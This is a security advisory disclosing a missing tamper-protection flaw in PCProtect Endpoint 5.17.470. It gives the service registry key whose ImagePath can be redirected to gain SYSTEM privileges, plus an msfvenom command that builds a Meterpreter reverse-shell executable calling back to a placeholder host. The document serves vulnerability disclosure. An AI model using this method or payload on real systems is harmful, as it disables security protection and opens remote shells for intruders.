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PCProtect Endpoint 5.17.470 Tampering / Privilege Escalation

PCProtect Endpoint 5.17.470 Tampering / Privilege Escalation
Posted Jul 26, 2022
Authored by Yehia Elghaly

PCProtect Endpoint version 5.17.470 fails to provide sufficient anti-tampering protection that can be leveraged to achieve SYSTEM privileges.

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SHA-256 | 2d06bd74496b08a5700c2c8e026dcb7ac169ea6a7167829bfbda24a822742cfd

PCProtect Endpoint 5.17.470 Tampering / Privilege Escalation

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[+] Credits: Yehia Elghaly (aka Mrvar0x)    
[+] Website: https://mrvar0x.com/
[+] Source: https://mrvar0x.com/2022/07/21/pcprotect-endpoint-tampering-exploit/

Vendor:
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www.pcprotect.com


Product:
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PCProtect Endpoint Protection v5.17.470

PCProtect is a malware detection and antivirus scanner. It uses advanced heuristics and a massive, continuously updated database to detect malware files on Windows, macOS, and Android devices. It also has an iOS app.
PCProtect also includes additional features, including:
Web shield - Virtual private network (VPN) - Data breach monitor - Identity theft protection - System optimizer- Password manager- And much more…


Vulnerability Type:
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Missing Tamper Protection
Incorrect Authorization

CVE Reference:
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N/A


Security Issue:
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PCProtect Antivirus prior to version 5.17.470 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling PCProtect Antivirus and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityService
Change ImagePath path to a malicious executable.


Exploit/POC:
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Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart


Network Access:
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Local


Severity:
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High


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The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

Mrvar0x
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